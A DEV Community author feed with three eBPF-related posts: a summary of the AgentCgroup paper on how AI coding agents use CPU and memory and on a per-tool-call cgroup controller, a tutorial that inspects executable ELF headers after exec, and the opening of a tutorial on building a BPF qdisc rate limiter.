DEV Community: 云微

AgentCgroup: What Happens When AI Agents Meet OS Resources?

云微 — Thu, 27 Aug 2026 23:23:50 +0000

An AI agent spends several quiet minutes reading and editing files, then launches pytest. Memory can rise by hundreds of megabytes in a second as the test process loads dependencies, only to fall again when the command exits. A container-level controller sees one workload cross a limit. It cannot tell that the burst belongs to a short-lived tool process while the long-lived agent runtime holds the conversation, partial diagnosis, and edits that make the task recoverable.

We measured how often that pattern occurs by running 144 SWE-rebench tasks with two LLM backends. OS work such as container setup and tool execution consumes 55% to 60% of end-to-end latency, and memory reaches 15.4 times its average level with sub-second changes up to 3 GB/s. Even two Bash calls can differ by 13.7 times in memory demand because one runs git status while another launches a test suite. Token count offers almost no warning of the next peak: its correlation with peak memory is −0.14 for Haiku and +0.02 for GLM.

Static allocation reacts badly to this combination. Reserving the observed peak wastes up to 93% of provisioned capacity during quiet phases, while killing the container at the peak discards minutes of accumulated, non-reproducible agent state. The AgentCgroup paper starts from these measurements and develops an eBPF-based controller that can respond at tool-call granularity.

Paper: AgentCgroup: Understanding and Controlling OS Resources of AI Agents

GitHub: github.com/eunomia-bpf/agentcgroup

Follow the Agent from Edit to Test

To follow the pytest burst back to the process that caused it, we instrumented Claude Code while it ran 144 software engineering tasks from SWE-rebench. The traces preserve tool-call boundaries alongside one-second CPU and memory samples, so a rise in container memory can be matched to the command running at that moment. We used two LLM backends:

Claude Haiku 4.5 (cloud API): LLM inference runs on Anthropic's cloud; the container only runs the agent framework and tool calls.
GLM-4.7-Flash (local GPU): LLM inference runs on a local GPU; everything happens on the same machine.

Both use the exact same agent framework (Claude Code, Node.js-based). The only difference is the underlying model and where inference happens. This lets us isolate the effect of model choice on container-level resource dynamics.

How We Captured the Burst

Component	Details
Platform	Intel Core Ultra 9 285K (24 cores, 5.8 GHz), 128 GB DDR5, Ubuntu 24.04.3 LTS
Kernel	Linux 6.15.11 with cgroup v2 enabled
Container Runtime	Podman (rootless, isolated containers)
Agent Framework	Claude Code (Node.js)
Models	Haiku 4.5 (cloud API, 33 tasks) + GLM-4.7-Flash (local GPU, 111 tasks)
Benchmark	SWE-rebench (real GitHub issues from open-source projects)
Monitoring	1-second interval CPU/memory sampling via `podman stats`
Tracing	Tool call boundaries (type, start/end timestamps) from agent execution traces

The tasks cover CLI tools, build systems, scientific and medical code, data processing, and web projects at three difficulty levels. We imposed no resource limit during characterization because the trace must show the unconstrained peak before a controller can decide how to handle it.

The Tool Call Owns the Spike

The opening pytest process is not an edge case hidden beneath model inference. Across both backends, most end-to-end time is spent starting the environment and running tools, which puts the operating system directly on the critical path.

Most Time Is Spent Outside the Model

Contrary to the intuition that "the LLM is the bottleneck," our measurements show that LLM reasoning accounts for only 40–45% of end-to-end task latency. The remaining 55–60% is OS-level overhead:

Latency Component	Haiku	GLM
Container + agent initialization	47.7%	31.0%
Tool execution	10.4%	24.1%
LLM reasoning	41.9%	44.9%

Container startup alone averages 26.5 seconds (median 23.0s, max 97s), driven by Podman's user-namespace ID remapping of overlay layers that scales with image size. Since SWE-rebench container images range from 2.9 GB to 17.3 GB (median 3.5 GB), roughly 7x larger than typical microservice images and 70x larger than serverless functions, this initialization overhead is substantial.

Each task then remains alive for 5 to 11 minutes, keeping LLM context, code edits, and tool results in one stateful process. Bash and sub-agent calls consume more than 90% of tool time, although Haiku offloads more work to sub-agents while GLM performs almost everything through local Bash. A controller therefore has to preserve the long-lived runtime while accounting for the very different commands launched beneath the same Bash tool.

Follow Bash One Layer Deeper

The tool name still does not reveal the resource demand. Breaking Bash calls down by command semantics shows where the time goes:

Bash Category	% of Bash Time (Haiku)	% of Bash Time (GLM)
Test execution (pytest, unittest, etc.)	72.9%	43.7%
Python snippets	n/a	26.9%
Package installation	10.8%	10.1%
Git operations	<5%	<5%
File exploration	<5%	<5%

Test execution overwhelmingly dominates, and as shown in the next section, it is also the most resource-intensive category.

The calls also move through a recognizable sequence when execution is divided into ten equal phases:

Understand phase (0–30%): Read operations dominate (code exploration)
Modify phase (30–70%): Edit operations are distributed throughout; Bash begins rising
Verify phase (40–100%): Bash peaks (repeated test execution, debugging)

This phase signature mirrors the "understand, modify, verify" workflow of human software engineering, providing a basis for phase-aware resource control.

The Burst Ends Before a Container Controller Can Adapt

On our 24-core platform, CPU remains below 36% even at the concurrency limit imposed by memory. Peak memory reaches 2 to 4 GB per task, so allocating every container at peak consumes the machine while much of its CPU capacity remains idle. The trace explains why: one stable layer needs protection, while a second layer appears only when tools run.

Protect the 185 MB Stateful Baseline

Agent memory has a two-layer structure. The opening pytest run belongs to the transient layer, while the conversation and framework live in the stable layer beneath it.

Layer 1, the framework baseline (~185 MB): The Node.js runtime, V8 JIT cache, and agent framework state maintain a stable, incompressible memory floor throughout execution, even during LLM reasoning phases with zero tool activity. Across all 144 tasks, early-execution memory averages 183 MB (Haiku) and 188 MB (GLM).

Layer 2, tool-call bursts (500 MB to 2+ GB): Test execution, dependency installation, and data processing operations create transient spikes that last only 1–2 seconds before collapsing back to the ~185 MB baseline.

When we normalize and aggregate memory traces across all 144 tasks by execution progress, the pattern is clear: the first half of execution stays at a stable 185–200 MB baseline, while the second half shows increasing variance with large spikes, corresponding to the Bash-intensive verify phase.

In a multi-tenant deployment, 64 concurrent instances require ~12 GB just for the framework baseline alone. The tool-call bursts layered on top are the real resource management challenge, and they require different treatment from the stable baseline.

Annotating each sample with its active tool call shows that memory bursts concentrate around tools 1.9 times more often than their share of execution time would suggest. CPU bursts are more dispersed, especially when local inference adds background CPU load, so CPU and memory need separate control signals.

A Static Limit Has No Good Setting

The tool-driven memory layer changes faster than a container-level policy expects:

Maximum memory change rate: 3 GB/second
Maximum CPU change rate: >50%/second
Burst duration: typically 1–2 seconds

The highest case we observed, a pydicom bioinformatics task (Medical_Bio_Hard), reached 4060 MB peak versus 264 MB average, a 15.4x peak-to-average ratio. This 4 GB spike lasted approximately 1–2 seconds before falling back to the 230 MB baseline.

Allocating the pydicom container at its 4060 MB peak leaves 93% of that memory unused during the typical 264 MB phase. Setting the limit near the average lets a one-second tool burst trigger an OOM kill and discard the protected baseline. The policy needs to distinguish the command that created the temporary layer, so we compared memory spikes inside Bash:

Bash Category	P95 Memory Spike (Haiku)	P95 Memory Spike (GLM)	Avg CPU Spike
Test execution (pytest, etc.)	518 MB	234 MB	+3.2%
Package installation	233 MB	n/a	moderate
Git operations	13.5 MB	n/a	minimal
File exploration	4.5 MB	n/a	minimal

Medical and bioinformatics commands average a 4 GB peak, while web and network commands average 291 MB. A Bash-level budget still groups ls, git status, and pytest together, so the useful boundary lies at the actual command process. CPU cannot stand in for memory at that boundary either: their correlation ranges from -0.84 to +0.50 across tasks.

The Next Pytest Run Does Not Look Like the Last One

A static limit might still work if yesterday's trace predicted tomorrow's peak. Repeating the exact same task, iterative/dvc#777, shows why the agent cannot rely on that history:

Run	Execution Time	Solution Strategy
1	402 seconds	Strategy A (different file modifications)
2	222 seconds	Strategy B (different approach)
3	259 seconds	Strategy C (different file count)

That is a 1.8x variance in execution time, with completely different solution strategies each time. This non-determinism stems from LLM reasoning randomness and decision-path diversity: the agent may choose entirely different code modifications, tool sequences, and debugging approaches on each run.

The model's own activity offers little earlier warning. Correlations between LLM-observable proxies and resource consumption remain weak:

Proxy to Target	Haiku (r)	GLM (r)
Output tokens to peak memory	−0.14	+0.02
Conversation rounds to execution time	+0.57	+0.82
Conversation rounds to peak memory	+0.02	+0.11

Output token count shows essentially zero correlation with peak memory. Even conversation rounds, which moderately predict execution time, are useless for predicting memory. Resource consumption is driven by what tools execute (e.g., pytest vs. file read), not by the scale of LLM reasoning. This means that even if one can predict how much an agent will "think," one still cannot predict how much memory it will need.

The familiar edit, test, fail, and retry loop adds another source of drift:

Metric	Haiku	GLM
Tasks with retry loops (3+ consecutive identical Bash calls)	85% (28/33)	97% (108/111)
Average retry groups per task	n/a	3.9
Maximum consecutive retries	n/a	56
Execution time consumed by retries	7.4%	20.5%

The "execute test, observe failure, modify code, re-test" iteration loop is the agent's behavioral signature. Each retry retains prior memory context without cleanup, leading to progressive memory accumulation, up to 502 MB of unreleased memory in the worst case we observed. This means memory limits that were adequate early in execution may trigger OOM kills later as retries accumulate.

Across all tasks, peak memory spans 197 MB to 4 GB, a 20x range under the same agent framework. Model choice changes the profile again. The controller therefore needs the current command boundary and current pressure; a percentile from prior runs cannot substitute for either signal.

Give the Tool Call Its Own Resource Domain

Return to the pytest burst. The 185 MB agent runtime and its test child currently share one container limit, even though the runtime contains expensive state and the child owns the temporary allocation. AgentCgroup maps the agent workload to a cgroup v2 node and places each tool call in a child node. A git status process and a pytest process can then receive different constraints while both remain inside the workload's total budget.

This hierarchy also changes recovery. Crossing a soft limit can freeze or throttle the tool subtree while the parent agent remains alive. If termination becomes necessary, cgroup v2 can kill that subtree atomically, preserving the conversation and edits held by the runtime.

Move the Response into the Kernel

The command boundary solves granularity, but a one-second, 3 GB/s burst still demands a fast response. AgentCgroup executes control logic at kernel cgroup enforcement points through eBPF, removing the user-space signal, decision, and write-back loop:

On CPU, sched_ext maintains per-workload and per-tool-call metadata in BPF maps, prioritizing latency-sensitive tool calls with automatic fail-safe reversion on errors.
On memory, memcg_bpf_ops hooks implement custom throttling delays when a cgroup breaches its soft limit (memory.high), with memory.max as the hard limit.

The same in-kernel observations replace prediction with current evidence. AgentCgroup traces process creation and memory allocation, detects tool boundaries, and applies graduated responses as pressure changes: memory.high delays throttle allocation, cgroup.freeze pauses a subtree, and memory.max remains the hard boundary. The parent runtime keeps the state needed to decide what to do after the tool returns or fails.

What Trace Replay Shows

We evaluated AgentCgroup by replaying real agent memory traces at 50x accelerated speed in a multi-tenant setting on a patched Linux 6.19.0-rc5 kernel (bpf-next + memcg struct_ops RFC patches). Three concurrent agent traces share constrained memory:

Tight memory scenario (1100 MB total for ~1233 MB combined demand):

Baseline: OOM-kills one low-priority process (66% survival)
AgentCgroup: all processes complete (100% survival), 239 throttle triggers, high-priority agent finishes with only +2.8% overhead

Moderate memory scenario (1300 MB total):

AgentCgroup reduces high-priority P95 allocation latency by 29% (70.97 to 50.14 ms) through reduced memory contention
Total completion time: −1.1% (net improvement)

The measured P50 latency overhead is 0.3%, and BPF throttling precision stays within 2.3% relative error. These are trace-replay results from a proof-of-concept kernel path, so they demonstrate the control mechanism under the paper's setup rather than production-scale behavior.

Reproducing the Results

The fastest inspection path uses the repository's collected traces in user space, before moving on to experiments that load eBPF programs:

git clone --recurse-submodules https://github.com/eunomia-bpf/agentcgroup.git
cd agentcgroup
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
python analysis/characterization.py

The reproduction guide then maps commands to the CPU scheduling, memory isolation, and overhead experiments. CPU control requires Linux 6.12 or newer with sched_ext and cgroup v2. The memory experiments additionally use the memcg_bpf_ops kernel path described by the artifact, so that part requires the matching kernel support and root access.

Where the Evidence Stops

The characterization covers Claude Code on SWE-rebench, and the controller evaluation uses accelerated trace replay with a proof-of-concept implementation. Live concurrent agents, other frameworks such as OpenHands and SWE-agent, additional container runtimes, and the upstream status of memcg_bpf_ops remain open work. The paper and eunomia-bpf/agentcgroup repository expose the raw experiments, analysis scripts, controller code, and reproduction instructions needed to test those boundaries.

eBPF Tutorial: Inspecting the Executable Image After exec

云微 — Tue, 25 Aug 2026 23:05:41 +0000

When a process calls execve, the kernel replaces its memory image with a new executable. But which executable, exactly? If the command line says /usr/bin/wrapper.sh --config /etc/app.conf, the actual running code might be a Python interpreter or a compiled binary launched three layers deep through wrapper scripts. Security tools, container runtimes, and troubleshooting utilities all need to know what the kernel actually installed, not just what the user typed.

This tutorial builds a tool that captures that information at the kernel level. It hooks the moment credentials are committed after exec, schedules a deferred callback, then reads the installed executable's ELF header and reports the architecture, byte order, and file type. Along the way, it demonstrates two recent kernel features (BPF task work and file dynptr) that together solve a problem traditional eBPF approaches cannot.

Complete source: https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/54-exec-image-inspector

The problem: reading file content from eBPF

Why would a security tool need to read the executable's content rather than just its path? Because the path alone does not identify what code will run. A hash of the executable's content can verify it matches a known-good binary. Embedded signatures or certificates can prove provenance. Specific byte patterns at known offsets can identify packing, obfuscation, or tampering. None of this information is available from the path; you must read the file's bytes. Doing so from eBPF, at the exact moment of exec, eliminates the race window that plagues user-space approaches.

The most direct approach to inspecting an executable is reading /proc/<pid>/exe, but this only works if the process is still alive. Short-lived processes exit before you can read them. Even if you catch them in time, the /proc filesystem is accessed from user space, creating a race window: by the time you read the symlink, the process might have called execve again.

Tracepoints and kprobes can hook sched_process_exec to observe exec events synchronously, but these hooks run in what the kernel calls a non-sleepable context. This matters because of how Linux manages file data in memory.

When you read from a file, the kernel first checks whether the requested bytes are already in the page cache, a memory region that caches recently-accessed file data. If they are, the read completes immediately. If they are not (a cold page), the kernel must issue I/O to the storage device, and the calling context must sleep while waiting for that I/O to complete.

BPF programs attached to tracepoints and kprobes cannot sleep. They run with interrupts potentially disabled and locks held; sleeping would deadlock the system. If a BPF program tries to read file content and encounters a cold page, the read fails with -EFAULT instead of waiting for I/O.

This creates a fundamental limitation: you can observe exec events, but you cannot reliably read the executable's content to verify its ELF header or check embedded metadata.

The solution: BPF task work and file dynptr

Linux 6.18 introduced BPF task work, a mechanism that lets a BPF program schedule a callback to run later in a safe, sleepable context. The callback executes before the target task returns to user space, at a point where the kernel permits sleeping.

Linux 6.19 introduced file dynptr, which provides verifier-tracked access to file data. A dynptr (dynamic pointer) is a BPF abstraction that tracks a pointer's bounds at verification time; the file variant wraps file I/O operations so the verifier can ensure memory safety.

Combining these features, the design becomes:

Attach an LSM hook to bprm_committed_creds, which fires after exec installs the new credentials
In the hook (non-sleepable), create per-exec state and schedule a task work callback
The callback runs in a sleepable context, where it can access the installed executable, read content from any offset (including cold pages), and send results to user space

This separation (schedule work in a non-sleepable hook, read the file in a sleepable callback) is the key insight.

How BPF task work operates

When you call bpf_task_work_schedule_signal(task, work, map, callback), the kernel associates your callback with the specified task. The callback does not run immediately; it runs later, at a safe point before that task returns to user space.

The struct bpf_task_work is an opaque structure that the kernel uses to track the scheduled callback. Your BPF program allocates storage for it but does not interpret its contents. This tool uses a HASH map keyed by pid_tgid; each struct exec_work value contains the bpf_task_work storage plus fields for timestamps and intermediate results. Separate keys allow concurrent execs to remain independent.

The callback signature is int callback(struct bpf_map *map, void *key, void *value). The value parameter points to the map element containing your bpf_task_work, so you can pass data from the scheduling hook to the callback through surrounding fields.

How file dynptr operates

A dynptr wraps a pointer with bounds information that the BPF verifier can track. For file dynptrs:

bpf_dynptr_from_file(file, flags, dynptr) creates a dynptr from a file
bpf_dynptr_read(dst, len, dynptr, offset, flags) reads content at the specified offset
bpf_dynptr_file_discard(dynptr) releases the dynptr's internal state

Every path that creates a dynptr, including error paths, must call bpf_dynptr_file_discard to release it. Failing to do so leaks internal resources.

In a non-sleepable context, bpf_dynptr_read only succeeds if the target bytes are already in the page cache. Accessing a cold page returns -EFAULT. In a sleepable context, the same call can trigger page fault handling and wait for I/O, so it succeeds even for cold pages. This difference is why task work matters: the callback runs in a sleepable context where file reads work reliably.

Tool architecture

The user-space program loads and attaches the BPF program, creates a ring buffer reader, and prints READY scope=system-wide. It then remains active until SIGINT or SIGTERM while workloads run normally.

For every successful exec after READY, the lsm/bprm_committed_creds hook inserts one exec_work value into the pending HASH map under the current pid_tgid, records a timestamp, and schedules a task work callback. Failed insertions or scheduling attempts are counted and clean up the map entry.

The callback (inspect_executable) runs later in the execing task's sleepable context. It:

Calls bpf_get_task_exe_file to get the installed executable (returning a referenced struct file that must be released with bpf_put_file)
Resolves the path with bpf_path_d_path
Creates a file dynptr and reads the 64-byte ELF header
Parses ELF fields: magic number, class (32/64-bit), data (endianness), type (executable vs shared object), and machine (architecture)
Sends an event through the ring buffer

User space polls the ring buffer until a signal arrives. On shutdown it detaches the LSM program, waits until completed >= scheduled, drains remaining events, prints the counters, and then destroys the skeleton.

Code walkthrough

The implementation spans four files: a shared header, a compatibility header for new kernel interfaces, the BPF program, and the user-space loader.

Shared header

exec_image_inspector.h defines structures shared between BPF and user space:

/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */
#ifndef __EXEC_IMAGE_INSPECTOR_H
#define __EXEC_IMAGE_INSPECTOR_H

#define EXEC_COMM_LEN 16
#define EXEC_PATH_LEN 256

struct exec_event {
    unsigned int pid;
    unsigned int tgid;
    unsigned char is_elf;
    unsigned char elf_class;
    unsigned char elf_data;
    unsigned char reserved;
    unsigned short elf_type;
    unsigned short elf_machine;
    int header_error;
    int path_error;
    unsigned long long latency_ns;
    char comm[EXEC_COMM_LEN];
    char path[EXEC_PATH_LEN];
};

struct inspector_stats {
    unsigned long long matched;
    unsigned long long scheduled;
    unsigned long long schedule_errors;
    unsigned long long callbacks;
    unsigned long long completed;
    unsigned long long header_errors;
    unsigned long long path_errors;
    unsigned long long dropped;
    unsigned long long cleanup_errors;
};

#endif /* __EXEC_IMAGE_INSPECTOR_H */

exec_event carries everything needed to report one exec: process identifiers, the resolved path, ELF metadata, and error codes. inspector_stats accumulates counters that user space reads from the BSS section at exit to report success and failure rates.

Compatibility header

The repository's vendored vmlinux headers predate Linux 6.18/6.19, so bpf_experimental.h declares the new interfaces locally:

/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */
#ifndef __EXEC_IMAGE_INSPECTOR_BPF_EXPERIMENTAL_H
#define __EXEC_IMAGE_INSPECTOR_BPF_EXPERIMENTAL_H

/*
 * These Linux 6.18/6.19 declarations are not present in the repository's
 * older generated UAPI and vmlinux headers. Keep them local until those
 * vendored headers are regenerated.
 */
struct bpf_task_work {
    __u64 opaque;
} __attribute__((aligned(8)));

typedef int (*bpf_task_work_callback_t)(struct bpf_map *map, void *key,
                    void *value);

extern int bpf_task_work_schedule_signal(struct task_struct *task,
                     struct bpf_task_work *work,
                     void *map__map,
                     bpf_task_work_callback_t callback) __ksym;
extern struct file *bpf_get_task_exe_file(struct task_struct *task) __ksym;
extern void bpf_put_file(struct file *file) __ksym;
extern int bpf_path_d_path(const struct path *path, char *buf,
               __u64 buf__sz) __ksym;
extern int bpf_dynptr_from_file(struct file *file, __u32 flags,
                struct bpf_dynptr *ptr__uninit) __ksym;
extern int bpf_dynptr_file_discard(struct bpf_dynptr *dynptr) __ksym;

#endif /* __EXEC_IMAGE_INSPECTOR_BPF_EXPERIMENTAL_H */

These declarations use __ksym to mark them as kernel symbols resolved at load time. Once the repository's vmlinux headers are regenerated from a 6.19+ kernel, this file can be removed.

BPF program

exec_image_inspector.bpf.c implements the LSM hook and the task work callback:

// SPDX-License-Identifier: GPL-2.0
#include "vmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include "bpf_experimental.h"
#include "exec_image_inspector.h"

char LICENSE[] SEC("license") = "GPL";

#define ENOENT 2

#define EI_CLASS 4
#define EI_DATA 5
#define ELFCLASS32 1
#define ELFCLASS64 2
#define ELFDATA2LSB 1
#define ELFDATA2MSB 2

struct inspector_stats stats;

struct {
    __uint(type, BPF_MAP_TYPE_RINGBUF);
    __uint(max_entries, 256 * 1024);
} events SEC(".maps");

struct exec_work {
    __u64 scheduled_ns;
    struct bpf_task_work work;
};

struct {
    __uint(type, BPF_MAP_TYPE_HASH);
    __uint(map_flags, BPF_F_NO_PREALLOC);
    __uint(max_entries, 4096);
    __type(key, __u64);
    __type(value, struct exec_work);
} pending SEC(".maps");

static __u16 read_elf_u16(const unsigned char *header, int offset, __u8 data)
{
    if (data == ELFDATA2MSB)
        return ((__u16)header[offset] << 8) | header[offset + 1];
    return header[offset] | ((__u16)header[offset + 1] << 8);
}

static int inspect_executable(struct bpf_map *map, void *key, void *value)
{
    unsigned char header[64] = {};
    struct exec_work *work = value;
    struct exec_event event = {};
    struct task_struct *task;
    struct bpf_dynptr dynptr;
    struct file *file;
    __u64 pid_tgid;
    int err;

    __sync_fetch_and_add(&stats.callbacks, 1);
    pid_tgid = bpf_get_current_pid_tgid();
    event.pid = (__u32)pid_tgid;
    event.tgid = pid_tgid >> 32;
    event.latency_ns = bpf_ktime_get_ns() - work->scheduled_ns;
    bpf_get_current_comm(event.comm, sizeof(event.comm));

    task = bpf_get_current_task_btf();
    file = bpf_get_task_exe_file(task);
    if (!file) {
        event.header_error = -ENOENT;
        __sync_fetch_and_add(&stats.header_errors, 1);
        goto emit;
    }

    err = bpf_path_d_path(&file->f_path, event.path, sizeof(event.path));
    if (err < 0) {
        event.path_error = err;
        __sync_fetch_and_add(&stats.path_errors, 1);
    }

    err = bpf_dynptr_from_file(file, 0, &dynptr);
    if (err) {
        bpf_dynptr_file_discard(&dynptr);
        event.header_error = err;
        __sync_fetch_and_add(&stats.header_errors, 1);
        goto put_file;
    }

    err = bpf_dynptr_read(header, sizeof(header), &dynptr, 0, 0);
    if (err) {
        event.header_error = err;
        __sync_fetch_and_add(&stats.header_errors, 1);
    }
    bpf_dynptr_file_discard(&dynptr);

    if (!event.header_error && header[0] == 0x7f && header[1] == 'E' &&
        header[2] == 'L' && header[3] == 'F') {
        event.is_elf = 1;
        event.elf_class = header[EI_CLASS];
        event.elf_data = header[EI_DATA];
        event.elf_type = read_elf_u16(header, 16, event.elf_data);
        event.elf_machine = read_elf_u16(header, 18, event.elf_data);
    }

put_file:
    bpf_put_file(file);
emit:
    if (bpf_ringbuf_output(&events, &event, sizeof(event), 0))
        __sync_fetch_and_add(&stats.dropped, 1);
    if (bpf_map_delete_elem(map, key))
        __sync_fetch_and_add(&stats.cleanup_errors, 1);
    __sync_fetch_and_add(&stats.completed, 1);
    return 0;
}

SEC("lsm/bprm_committed_creds")
void BPF_PROG(schedule_exec_inspection, struct linux_binprm *bprm)
{
    struct task_struct *task;
    struct exec_work empty_work = {};
    struct exec_work *work;
    __u64 pid_tgid;
    __u64 key;
    int err;

    (void)bprm;
    pid_tgid = bpf_get_current_pid_tgid();
    key = pid_tgid;
    __sync_fetch_and_add(&stats.matched, 1);
    err = bpf_map_update_elem(&pending, &key, &empty_work, BPF_NOEXIST);
    if (err) {
        __sync_fetch_and_add(&stats.schedule_errors, 1);
        return;
    }
    work = bpf_map_lookup_elem(&pending, &key);
    if (!work) {
        __sync_fetch_and_add(&stats.schedule_errors, 1);
        if (bpf_map_delete_elem(&pending, &key))
            __sync_fetch_and_add(&stats.cleanup_errors, 1);
        return;
    }

    work->scheduled_ns = bpf_ktime_get_ns();
    task = bpf_get_current_task_btf();
    err = bpf_task_work_schedule_signal(task, &work->work, &pending,
                        inspect_executable);
    if (err) {
        __sync_fetch_and_add(&stats.schedule_errors, 1);
        if (bpf_map_delete_elem(&pending, &key))
            __sync_fetch_and_add(&stats.cleanup_errors, 1);
        return;
    }
    __sync_fetch_and_add(&stats.scheduled, 1);
}

The entry point is schedule_exec_inspection, declared with SEC("lsm/bprm_committed_creds"). This LSM hook fires after the new executable's credentials have been installed. The hook itself is non-sleepable, so it creates the per-exec state and schedules the deferred work.

For each exec, the program inserts a zeroed struct exec_work into the pending HASH map with BPF_NOEXIST, keyed by pid_tgid, then records the timestamp. The callback deletes that exact key. This supports concurrent execs without sharing one task-work slot.

The hook calls bpf_task_work_schedule_signal after saving the timestamp. The kernel holds the references needed to execute the callback later. Every insert, lookup, or scheduling failure is counted, and every path that created pending state deletes it.

The callback inspect_executable calculates latency for diagnostics, then acquires the executable file with bpf_get_task_exe_file. This returns a referenced struct file that must be released with bpf_put_file. The callback resolves the path, creates a file dynptr, reads the 64-byte ELF header, and parses it. The read_elf_u16 helper handles endianness: ELF files declare their byte order in the header, and multi-byte fields must be read accordingly.

Every path that creates a dynptr, success or failure, must call bpf_dynptr_file_discard. Finally, bpf_ringbuf_output sends the event to user space, the callback deletes its pending entry, and completed is incremented so shutdown can wait for finished work rather than merely scheduled work.

User-space loader

The complete loader is linked at the beginning of this tutorial. Its main lifecycle is:

int main(int argc, char **argv)
{
    struct exec_image_inspector_bpf *skel = NULL;
    struct event_context events = {};
    struct ring_buffer *ring_buffer = NULL;
    int error, result = 1;

    error = parse_args(argc, argv);
    if (error) {
        usage(stderr, argv[0]);
        return 2;
    }
    error = install_signal_handlers();
    if (error) {
        fprintf(stderr, "failed to install signal handlers: %s\n",
            strerror(-error));
        return 1;
    }

    libbpf_set_print(libbpf_print_fn);
    error = setup_inspector(&events, &skel, &ring_buffer);
    if (error)
        goto cleanup;
    error = monitor_execs(ring_buffer);
    exec_image_inspector_bpf__detach(skel);
    if (!error)
        error = drain_pending_events(ring_buffer, skel);
    report_result(skel, &events);
    if (!error)
        result = 0;

cleanup:
    ring_buffer__free(ring_buffer);
    exec_image_inspector_bpf__destroy(skel);
    return result;
}

setup_inspector opens, loads, and attaches the skeleton before creating the ring buffer. monitor_execs prints READY and polls until SIGINT or SIGTERM.

On shutdown, main detaches first. drain_pending_events then waits in bounded 100 ms polls for completed to catch up with scheduled, drains the ring buffer, and reports all counters before resources are destroyed.

handle_event formats the output, translating numeric ELF values to readable names while preserving the raw values for scripting.

Building and running

Build from source:

git submodule update --init --recursive
make -C src/54-exec-image-inspector clean
make -C src/54-exec-image-inspector -j2

Before running, check that bpf appears in the active LSM list:

cat /sys/kernel/security/lsm

If bpf is missing, add it to the kernel command line: change lsm=<existing-list> to lsm=<existing-list>,bpf in your bootloader configuration.

Start the monitor:

sudo ./src/54-exec-image-inspector/exec_image_inspector

Once the program prints READY scope=system-wide, it reports each successful exec with an EXEC line containing the process IDs, command name, resolved executable path, ELF metadata, and callback latency. Press Ctrl-C to stop; the final SUMMARY shows scheduling, callback, error, drop, and event counts.

Use --verbose when libbpf diagnostics are needed:

sudo ./src/54-exec-image-inspector/exec_image_inspector --verbose

Requirements

Requirement	Details
Kernel version	Linux 6.19+ (BPF task work introduced in 6.18, file dynptr in 6.19)
Kernel configuration	`CONFIG_BPF=y`, `CONFIG_BPF_SYSCALL=y`, `CONFIG_BPF_JIT=y`, `CONFIG_BPF_LSM=y`, `CONFIG_SECURITY=y`, `CONFIG_DEBUG_INFO_BTF=y`
Active LSM	`/sys/kernel/security/lsm` must contain `bpf`
Architecture	Tested on x86_64
Privileges	root

Limitations and extensions

This tool observes successful execs system-wide after READY. The pending HASH map supports up to 4096 concurrent pid_tgid keys; insertion or scheduling pressure is visible in schedule_errors. Shutdown waits for callbacks for about one second before returning an error.

Summary

This tutorial demonstrates how to combine BPF task work and file dynptr to inspect the executable image actually installed by exec. The LSM hook schedules work for each exec, and the task work callback reads the file in a sleepable context. This lets eBPF programs read file data reliably, even when the target bytes are not in the page cache.

The persistent monitor exposes a natural READY boundary for independent workloads. Detach-before-drain shutdown, per-exec pending state, and completed-work accounting keep concurrent callbacks safe while preserving the original task-work and file-dynptr lesson.

To learn more about eBPF, visit our tutorial repository at https://github.com/eunomia-bpf/bpf-developer-tutorial or https://eunomia.dev/tutorials/.

References

eBPF Tutorial: Building an Egress Pacer with BPF Qdisc

云微 — Mon, 24 Aug 2026 05:22:08 +0000

The Problem: Testing Under Bandwidth Constraints

Suppose you need to test how your application behaves when bandwidth is limited. You create a veth pair to simulate a network link and want to cap egress at 64 Kbit/s while observing what happens when the queue fills up and packets start dropping. Traditional approaches (complex tc configurations or user-space proxies) work but are heavyweight for a quick validation.

Linux 6.16 introduced a new option: BPF qdisc. Instead of configuring existing schedulers, you can implement a complete queuing discipline directly in eBPF. This tutorial builds a FIFO rate limiter that demonstrates the full qdisc lifecycle: registering as the root qdisc, managing packet ownership through enqueue and dequeue, computing transmission times, using the watchdog timer for scheduling, and cleaning up when removed.

This example is designed for controlled interfaces like veth, TAP, or IFB, environments where you have full control and can safely experiment with packet scheduling.

Complete source code: https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/53-egress-pacer

Why BPF Qdisc Exists

To see what BPF qdisc changes, compare it with three common approaches.

Built-in schedulers are fixed algorithms. tc provides TBF (Token Bucket Filter), HTB (Hierarchical Token Bucket), and others, but these are predefined behaviors in the kernel. If you need something custom (prioritizing by application type, adjusting rates based on real-time metrics), you must either patch the kernel or chain multiple tc classifiers together.

TC BPF programs cannot control timing. Regular TC BPF programs can inspect packets and decide whether to pass or drop them, but the underlying qdisc still controls when packets actually transmit. Lesson 20 shows this pattern: BPF decides pass/drop, but not "send this packet at time T."

User-space solutions add overhead. Tools like tc-netem with external helpers or DPDK can shape traffic, but they introduce context switches and deployment complexity. For testing, you often want something lightweight.

BPF qdisc addresses these gaps. Starting with Linux 6.16, you can implement Qdisc_ops callbacks (enqueue, dequeue, init, reset, destroy) in eBPF and register them as a qdisc type. Your BPF program fully controls packet queuing and timing while staying in kernel space. The egress_pacer in this tutorial is a FIFO rate limiter built this way.

How BPF Qdisc Works

Unlike regular TC BPF programs that run within an existing qdisc, a BPF qdisc is the qdisc. When you attach it to an interface's root position, your BPF code handles every egress packet.

Here is the lifecycle:

Setup: User space sets the rate and queue limit, loads the BPF program, registers the struct_ops implementation, and attaches it to TC_H_ROOT on the target interface.
Enqueue: When the kernel needs to queue a packet for transmission, it calls your enqueue callback. You receive an skb, create a node to hold it, compute when it should transmit based on packet length and rate, and add the node to your queue. If the queue is full or allocation fails, you drop the packet.
Dequeue: When the kernel wants to transmit, it calls your dequeue callback. You check if the front packet's transmission time has arrived. If yes, return the skb; if not, schedule a watchdog timer for the correct time and return NULL. The kernel will call dequeue again when the timer fires.
Reset: When the qdisc is removed, the kernel calls reset. You iterate through any remaining packets, release their resources, and zero the counters.

Throughout this lifecycle, your BPF program owns the packets. From receiving an skb in enqueue, through holding it in your data structure, to returning it in dequeue or freeing it in reset, the BPF program is responsible.

